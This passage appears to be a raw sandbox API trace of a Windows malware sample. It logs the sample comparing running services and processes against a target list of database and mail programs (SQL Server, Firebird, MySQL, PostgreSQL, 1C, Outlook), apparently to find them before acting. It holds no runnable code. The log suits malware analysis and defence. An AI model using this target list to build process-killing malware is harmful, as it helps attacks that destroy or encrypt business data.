lpString2="Netman") returned -1 [0042.942] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0042.942] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0042.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0042.942] lstrlenW (lpString="netprofm") returned 8 [0042.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0042.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0042.942] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0042.942] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0042.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0042.942] lstrlenW (lpString="NlaSvc") returned 6 [0042.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0042.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0042.942] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0042.942] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0042.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0042.942] lstrlenW (lpString="nsi") returned 3 [0042.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0042.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0042.942] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0042.942] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0042.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0042.942] lstrlenW (lpString="PcaSvc") returned 6 [0042.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0042.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0042.942] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0042.942] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0042.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0042.942] lstrlenW (lpString="PlugPlay") returned 8 [0042.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0042.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0042.943] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0042.943] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0042.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0042.943] lstrlenW (lpString="Power") returned 5 [0042.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0042.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0042.943] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0042.943] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0042.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0042.943] lstrlenW (lpString="ProfSvc") returned 7 [0042.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0042.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0042.943] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0042.943] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0042.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0042.943] lstrlenW (lpString="RpcEptMapper") returned 12 [0042.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.943] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0042.943] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0042.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0042.943] lstrlenW (lpString="RpcSs") returned 5 [0042.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0042.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0042.943] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0042.943] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0042.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0042.943] lstrlenW (lpString="SamSs") returned 5 [0042.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0042.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0042.943] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0042.943] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0042.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0042.944] lstrlenW (lpString="Schedule") returned 8 [0042.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0042.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0042.944] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0042.944] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0042.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0042.944] lstrlenW (lpString="SENS") returned 4 [0042.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0042.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0042.944] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0042.944] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0042.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0042.944] lstrlenW (lpString="ShellHWDetection") returned 16 [0042.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.944] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0042.944] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0042.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0042.944] lstrlenW (lpString="Spooler") returned 7 [0042.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0042.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0042.944] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0042.944] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0042.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0042.944] lstrlenW (lpString="swprv") returned 5 [0042.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0042.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0042.944] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0042.944] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0042.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0042.944] lstrlenW (lpString="SysMain") returned 7 [0042.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0042.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0042.944] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0042.945] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0042.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0042.945] lstrlenW (lpString="Themes") returned 6 [0042.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0042.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0042.945] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0042.945] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0042.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0042.945] lstrlenW (lpString="TrkWks") returned 6 [0042.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0042.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0042.945] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0042.945] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0042.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0042.945] lstrlenW (lpString="UxSms") returned 5 [0042.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0042.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0042.945] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0042.945] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0042.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0042.945] lstrlenW (lpString="VSS") returned 3 [0042.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0042.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0042.945] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0042.945] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0042.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0042.945] lstrlenW (lpString="WdiServiceHost") returned 14 [0042.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.945] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0042.945] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0042.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0042.945] lstrlenW (lpString="WdiSystemHost") returned 13 [0042.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.946] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0042.946] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0042.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0042.946] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0042.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.946] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0042.946] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0042.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0042.946] lstrlenW (lpString="Winmgmt") returned 7 [0042.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0042.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0042.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0042.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0042.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0042.946] lstrlenW (lpString="WPDBusEnum") returned 10 [0042.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0042.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0042.946] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0042.946] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0042.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0042.946] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e060 | out: hHeap=0x220000) returned 1 [0042.946] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x170 [0042.949] Process32FirstW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0042.949] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0042.950] lstrlenW (lpString="System") returned 6 [0042.950] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0042.950] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0042.950] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0042.950] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0042.950] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0042.950] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0042.950] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0042.950] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0042.951] lstrlenW (lpString="smss.exe") returned 8 [0042.951] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0042.951] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0042.951] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0042.951] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0042.951] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0042.951] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0042.951] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0042.951] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.952] lstrlenW (lpString="csrss.exe") returned 9 [0042.952] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0042.952] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0042.952] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0042.952] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0042.952] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0042.952] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0042.952] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0042.952] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0042.952] lstrlenW (lpString="wininit.exe") returned 11 [0042.952] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0042.952] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0042.953] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0042.953] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.953] lstrlenW (lpString="csrss.exe") returned 9 [0042.953] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0042.954] lstrlenW (lpString="winlogon.exe") returned 12 [0042.954] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0042.955] lstrlenW (lpString="services.exe") returned 12 [0042.955] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0042.955] lstrlenW (lpString="lsass.exe") returned 9 [0042.955] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0042.956] lstrlenW (lpString="lsm.exe") returned 7 [0042.956] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.957] lstrlenW (lpString="svchost.exe") returned 11 [0042.957] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.958] lstrlenW (lpString="svchost.exe") returned 11 [0042.958] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.958] lstrlenW (lpString="svchost.exe") returned 11 [0042.958] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.959] lstrlenW (lpString="svchost.exe") returned 11 [0042.959] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.960] lstrlenW (lpString="svchost.exe") returned 11 [0042.960] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0042.960] lstrlenW (lpString="audiodg.exe") returned 11 [0042.960] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.961] lstrlenW (lpString="svchost.exe") returned 11 [0042.961] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.962] lstrlenW (lpString="svchost.exe") returned 11 [0042.962] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0042.962] lstrlenW (lpString="dwm.exe") returned 7 [0042.962] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0042.963] lstrlenW (lpString="explorer.exe") returned 12 [0042.963] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0042.964] lstrlenW (lpString="spoolsv.exe") returned 11 [0042.964] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0042.964] lstrlenW (lpString="taskhost.exe") returned 12 [0042.964] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.965] lstrlenW (lpString="svchost.exe") returned 11 [0042.965] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0042.966] lstrlenW (lpString="taskeng.exe") returned 11 [0042.966] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0042.966] lstrlenW (lpString="taskhost.exe") returned 12 [0042.966] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0042.967] lstrlenW (lpString="presidential.exe") returned 16 [0042.967] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0042.968] lstrlenW (lpString="ol-filing.exe") returned 13 [0042.968] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0042.968] lstrlenW (lpString="overcome.exe") returned 12 [0042.968] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0042.969] lstrlenW (lpString="declinedreferral.exe") returned 20 [0042.969] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0042.970] lstrlenW (lpString="franciscotrack.exe") returned 18 [0042.970] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0042.970] lstrlenW (lpString="nicholas.exe") returned 12 [0042.970] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0042.971] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0042.971] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0043.337] lstrlenW (lpString="word.exe") returned 8 [0043.337] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0043.348] lstrlenW 